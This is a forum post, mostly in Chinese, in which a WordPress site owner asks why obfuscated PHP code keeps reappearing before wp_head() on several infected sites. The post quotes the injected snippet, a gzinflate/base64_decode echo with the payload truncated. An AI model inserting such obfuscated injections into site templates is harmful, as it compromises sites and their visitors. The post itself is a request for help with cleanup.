四个不同的网站被感染并被Google屏蔽，在快速查看之后，我在wp\\u head（）之前注意到了这一点：

<?php 
#d93065#
echo(gzinflate(base64_decode("tVVNj5swEP0... (edited out) hH5m7L/5+/gM=")));
#/d93065#
wp_head(); ?>

我已经清除了代码，但几个小时后又出现了这种情况。然后一次又一次。我认为timthumb是罪魁祸首，但这发生在一个没有timthumb的WordPress上，之前我用timthumb漏洞扫描器扫描过它。

在htaccess、wp config和每个人都在谈论的文件中没有可疑之处，从wp includes开始，已经检查了所有js文件，没有，没有，没有。

What could it be, how do I get rid of this?